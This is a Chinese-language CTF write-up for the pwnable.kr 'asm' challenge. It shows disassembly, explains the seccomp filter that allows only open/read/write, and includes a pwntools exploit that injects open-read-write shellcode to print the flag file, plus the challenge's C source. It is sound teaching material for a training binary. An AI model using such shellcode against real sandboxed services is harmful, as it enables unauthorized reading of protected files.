pwnablekr-asm-seccomp-sandbox

1. 基本信息

file:

$ file asm
asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7401f94b1d6bf6a5afe4b8a9457e71faa2eb5e9, not stripped

注意是64位程序,context要设置arch=‘amd64’

checksec:

$ checksec asm
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

反汇编

工具使用ida

sandbox:

text:0000000000000C50                 public sandbox
.text:0000000000000C50 sandbox         proc near               ; CODE XREF: main+13A↓p
.text:0000000000000C50
.text:0000000000000C50 seccomp_ctx     = qword ptr -8
.text:0000000000000C50
.text:0000000000000C50 ; __unwind {
.text:0000000000000C50                 push    rbp
.text:0000000000000C51                 mov     rbp, rsp
.text:0000000000000C54                 sub     rsp, 10h
.text:0000000000000C58                 mov     edi, 0
.text:0000000000000C5D                 call    _seccomp_init
.text:0000000000000C62                 mov     [rbp+seccomp_ctx], rax
.text:0000000000000C66                 cmp     [rbp+seccomp_ctx], 0
.text:0000000000000C6B                 jnz     short loc_C83
.text:0000000000000C6D                 lea     rdi, s          ; "seccomp error"
.text:0000000000000C74                 call    _puts
.text:0000000000000C79                 mov     edi, 0          ; status
.text:0000000000000C7E                 call    _exit
.text:0000000000000C83 ; ---------------------------------------------------------------------------
.text:0000000000000C83
.text:0000000000000C83 loc_C83:                                ; CODE XREF: sandbox+1B↑j
.text:0000000000000C83                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000C87                 mov     ecx, 0
.text:0000000000000C8C                 mov     edx, 2          ; open
.text:0000000000000C91                 mov     esi, 7FFF0000h
.text:0000000000000C96                 mov     rdi, rax
.text:0000000000000C99                 mov     eax, 0
.text:0000000000000C9E                 call    _seccomp_rule_add
.text:0000000000000CA3                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000CA7                 mov     ecx, 0
.text:0000000000000CAC                 mov     edx, 0          ; read
.text:0000000000000CB1                 mov     esi, 7FFF0000h
.text:0000000000000CB6                 mov     rdi, rax
.text:0000000000000CB9                 mov     eax, 0
.text:0000000000000CBE                 call    _seccomp_rule_add
.text:0000000000000CC3                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000CC7                 mov     ecx, 0
.text:0000000000000CCC                 mov     edx, 1          ; write
.text:0000000000000CD1                 mov     esi, 7FFF0000h
.text:0000000000000CD6                 mov     rdi, rax
.text:0000000000000CD9                 mov     eax, 0
.text:0000000000000CDE                 call    _seccomp_rule_add
.text:0000000000000CE3                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000CE7                 mov     ecx, 0
.text:0000000000000CEC                 mov     edx, 3Ch  	  ; exit
.text:0000000000000CF1                 mov     esi, 7FFF0000h
.text:0000000000000CF6                 mov     rdi, rax
.text:0000000000000CF9                 mov     eax, 0
.text:0000000000000CFE                 call    _seccomp_rule_add
.text:0000000000000D03                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000D07                 mov     ecx, 0
.text:0000000000000D0C                 mov     edx, 0E7h       ; exit_group
.text:0000000000000D11                 mov     esi, 7FFF0000h
.text:0000000000000D16                 mov     rdi, rax
.text:0000000000000D19                 mov     eax, 0
.text:0000000000000D1E                 call    _seccomp_rule_add


.text:0000000000000D23                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000D27                 mov     rdi, rax
.text:0000000000000D2A                 call    _seccomp_load
.text:0000000000000D2F                 test    eax, eax
.text:0000000000000D31                 jns     short loc_D55
.text:0000000000000D33                 mov     rax, [rbp+seccomp_ctx]
.text:0000000000000D37                 mov     rdi, rax
.text:0000000000000D3A                 call    _seccomp_release
.text:0000000000000D3F                 lea     rdi, s          ; "seccomp error"
.text:0000000000000D46                 call    _puts
.text:0000000000000D4B                 mov     edi, 0          ; status
.text:0000000000000D50                 call    _exit
.text:0000000000000D55 ; ---------------------------------------------------------------------------

main:

.text:0000000000000D64 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000000D64                 public main
.text:0000000000000D64 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000000D64
.text:0000000000000D64 var_20          = qword ptr -20h
.text:0000000000000D64 var_14          = dword ptr -14h
.text:0000000000000D64 input           = dword ptr -0Ch
.text:0000000000000D64 buf             = qword ptr -8
.text:0000000000000D64
.text:0000000000000D64 ; __unwind {
.text:0000000000000D64                 push    rbp
.text:0000000000000D65                 mov     rbp, rsp
.text:0000000000000D68                 sub     rsp, 20h
.text:0000000000000D6C                 mov     [rbp+var_14], edi
.text:0000000000000D6F                 mov     [rbp+var_20], rsi
.text:0000000000000D73                 mov     rax, cs:stdout_ptr
.text:0000000000000D7A                 mov     rax, [rax]
.text:0000000000000D7D                 mov     ecx, 0          ; n
.text:0000000000000D82                 mov     edx, 2          ; modes
.text:0000000000000D87                 mov     esi, 0          ; buf
.text:0000000000000D8C                 mov     rdi, rax        ; stream
.text:0000000000000D8F                 call    _setvbuf
.text:0000000000000D94                 mov     rax, cs:stdin_ptr
.text:0000000000000D9B                 mov     rax, [rax]
.text:0000000000000D9E                 mov     ecx, 0          ; n
.text:0000000000000DA3                 mov     edx, 1          ; modes
.text:0000000000000DA8                 mov     esi, 0          ; buf
.text:0000000000000DAD                 mov     rdi, rax        ; stream
.text:0000000000000DB0                 call    _setvbuf        ; 111111111111111111111111111
.text:0000000000000DB5                 lea     rdi, aWelcomeToShell ; "Welcome to shellcoding practice challen"...
.text:0000000000000DBC                 call    _puts
.text:0000000000000DC1                 lea     rdi, aInThisChalleng ; "In this challenge, you can run your x64"...
.text:0000000000000DC8                 call    _puts
.text:0000000000000DCD                 lea     rdi, aTryToMakeShell ; "Try to make shellcode that spits flag u"...
.text:0000000000000DD4                 call    _puts
.text:0000000000000DD9                 lea     rdi, aIfThisDoesNotC ; "If this does not challenge you. you sho"...
.text:0000000000000DE0                 call    _puts
.text:0000000000000DE5                 mov     r9d, 0          ; offset
.text:0000000000000DEB                 mov     r8d, 0          ; fd
.text:0000000000000DF1                 mov     ecx, 32h ; '2'  ; flags
.text:0000000000000DF6                 mov     edx, 7          ; prot
.text:0000000000000DFB                 mov     esi, 1000h      ; len
.text:0000000000000E00                 mov     edi, 41414000h  ; addr
.text:0000000000000E05                 call    _mmap           ; 22222222222222222222222
.text:0000000000000E0A                 mov     [rbp+buf], rax
.text:0000000000000E0E                 mov     rax, [rbp+buf]
.text:0000000000000E12                 mov     edx, 1000h      ; n
.text:0000000000000E17                 mov     esi, 90h        ; c
.text:0000000000000E1C                 mov     rdi, rax        ; s
.text:0000000000000E1F                 call    _memset
.text:0000000000000E24                 lea     rax, stub       ; "H1"
.text:0000000000000E2B                 mov     rdi, rax        ; s
.text:0000000000000E2E                 call    _strlen
.text:0000000000000E33                 mov     rdx, rax        ; n
.text:0000000000000E36                 mov     rax, [rbp+buf]
.text:0000000000000E3A                 lea     rcx, stub       ; "H1"
.text:0000000000000E41                 mov     rsi, rcx        ; src
.text:0000000000000E44                 mov     rdi, rax        ; dest
.text:0000000000000E47                 call    _memcpy         ; 33333333333333333333333333333
.text:0000000000000E4C                 mov     [rbp+input], 2Eh ; '.'
.text:0000000000000E53                 lea     rdi, format     ; "give me your x64 shellcode: "
.text:0000000000000E5A                 mov     eax, 0
.text:0000000000000E5F                 call    _printf
.text:0000000000000E64                 mov     eax, [rbp+input]
.text:0000000000000E67                 movsxd  rdx, eax
.text:0000000000000E6A                 mov     rax, [rbp+buf]
.text:0000000000000E6E                 add     rax, rdx
.text:0000000000000E71                 mov     edx, 3E8h       ; nbytes
.text:0000000000000E76                 mov     rsi, rax        ; buf
.text:0000000000000E79                 mov     edi, 0          ; fd
.text:0000000000000E7E                 call    _read           ; 444444444444444444444444444
.text:0000000000000E83                 mov     edi, 0Ah        ; seconds
.text:0000000000000E88                 call    _alarm
.text:0000000000000E8D                 lea     rdi, path       ; "/home/asm_pwn"
.text:0000000000000E94                 call    _chroot
.text:0000000000000E99                 mov     eax, 0
.text:0000000000000E9E                 call    sandbox         ; 55555555555555555555555555
.text:0000000000000EA3                 mov     rax, [rbp+buf]
.text:0000000000000EA7                 call    rax             ; 666666666666666666666666666666666
.text:0000000000000EA9                 mov     eax, 0
.text:0000000000000EAE                 leave
.text:0000000000000EAF                 retn
.text:0000000000000EAF ; } // starts at D64
.text:0000000000000EAF main            endp

流程梳理

  1. setvbuf 标准输出设置无缓冲, 标准输入设置行缓冲;
  2. mmap申请空间,大小0x1000,可读可写可执行(prot==7),以0x90(nop)填充;
  3. 往申请的空间里拷贝一段数据(因为是可执行的,所以调试时反汇编看一下);
  4. 读取用户输入;
  5. 设置一个定时器,执行chroot切换根目录,执行sandbox,仅允许调用read, write, open;
  6. 执行mmap申请的空间里的代码。

反汇编第三步的数据, 逻辑是清零各个寄存器,无妨:

pwndbg> x /30i 0x5555557560c0
   0x5555557560c0 <stub>:	xor    rax,rax
   0x5555557560c3 <stub+3>:	xor    rbx,rbx
   0x5555557560c6 <stub+6>:	xor    rcx,rcx
   0x5555557560c9 <stub+9>:	xor    rdx,rdx
   0x5555557560cc <stub+12>:	xor    rsi,rsi
   0x5555557560cf <stub+15>:	xor    rdi,rdi
   0x5555557560d2 <stub+18>:	xor    rbp,rbp
   0x5555557560d5 <stub+21>:	xor    r8,r8
   0x5555557560d8 <stub+24>:	xor    r9,r9
   0x5555557560db <stub+27>:	xor    r10,r10
   0x5555557560de <stub+30>:	xor    r11,r11
   0x5555557560e1 <stub+33>:	xor    r12,r12
   0x5555557560e4 <stub+36>:	xor    r13,r13
   0x5555557560e7 <stub+39>:	xor    r14,r14
   0x5555557560ea <stub+42>:	xor    r15,r15

_seccomp_rule_add中的系统调用号参数:

// unistd_64.h
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_exit 60
#define __NR_exit_group 231

2. 相关知识

seccomp

Seccomp常被用来做沙箱保护,它可以限制/允许一些api的使用。seccomp在ctf中大多用于禁用execve函数(arg_cnt参数为0),解决办法就是构造shellcode,用open->read->write的方式读flag.

安装相关库:

sudo apt install libseccomp-dev libseccomp2 seccomp

Demo可以参考api官网或本题源码。

3. exp

# coding:utf-8
from pwn import *

p = process("./asm")
# gdb.attach()
context(arch='amd64', os='linux')

shellcode = ""
shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')
p.send(asm(shellcode))
print(p.recvline())

执行 sudo python3 exp.py

4. 源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

5. 参考文章

seccomp的学习_瓦雪子的博客-CSDN博客_

seccomp(2) - Linux manual page (man7.org)

setbuf(3) - Linux manual page (man7.org)

C 库函数 – setvbuf() | 菜鸟教程 (runoob.com)

mmap(3p) - Linux manual page (man7.org)

Seccomp从0到1 - 安全客,安全资讯平台 (anquanke.com)

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值